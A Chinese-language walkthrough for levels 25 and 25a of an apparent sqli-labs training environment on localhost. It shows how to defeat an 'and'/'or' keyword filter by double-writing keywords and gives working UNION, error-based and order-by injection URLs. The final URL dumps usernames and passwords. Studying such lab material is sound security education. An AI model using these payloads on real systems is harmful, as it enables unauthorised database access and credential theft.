第二十五关
GET类型基于单引号,and,or过滤(你所有的and,or都是我们的!)的错误
1.使用union select 1,2,3(尽量避过and,or)
http://127.0.0.1:500/Less-25/?id=-1' union select 1,2,3--+
2.双写关键字(避无可避,无需再避)
代码可以过滤and,那么我们可以写两个,比如anandd,它过滤掉里面的and,咱们还剩一个,它一个,我一个,or同理可以写成oorr
http://127.0.0.1:500/Less-25/?id=-1' anandd extractvalue(1,0x7e)--+
爆库
http://127.0.0.1:500/Less-25/?id=-1' anandd extractvalue(1,concat(0x7e,database()))--+
后续把database()换成sql语句就行了,就不赘述了
GET类型基于and,or过滤的数字型盲注
1.判断注入点
与25关差不多,采取联合注入的方式,and,or采取双写关键字的形式
2.判断列数
http://127.0.0.1:500/Less-25a/?id=1 oorrder by 3 #
3.爆库
http://127.0.0.1:500/Less-25a/?id=-1 union select 1,database(),3 --+
4.爆表(双写infoorrmation)
http://127.0.0.1:500/Less-25a/?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema = 'security' #
5.爆列(双写anandd)
http://127.0.0.1:500/Less-25a/?id=-1 union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema = 'security' anandd table_name = 'users' #
6.爆数据(双写passwoorrd)
http://127.0.0.1:500/Less-25a/?id=-1 union select 1,group_concat(id,' ',username,' ',passwoorrd),3 from users #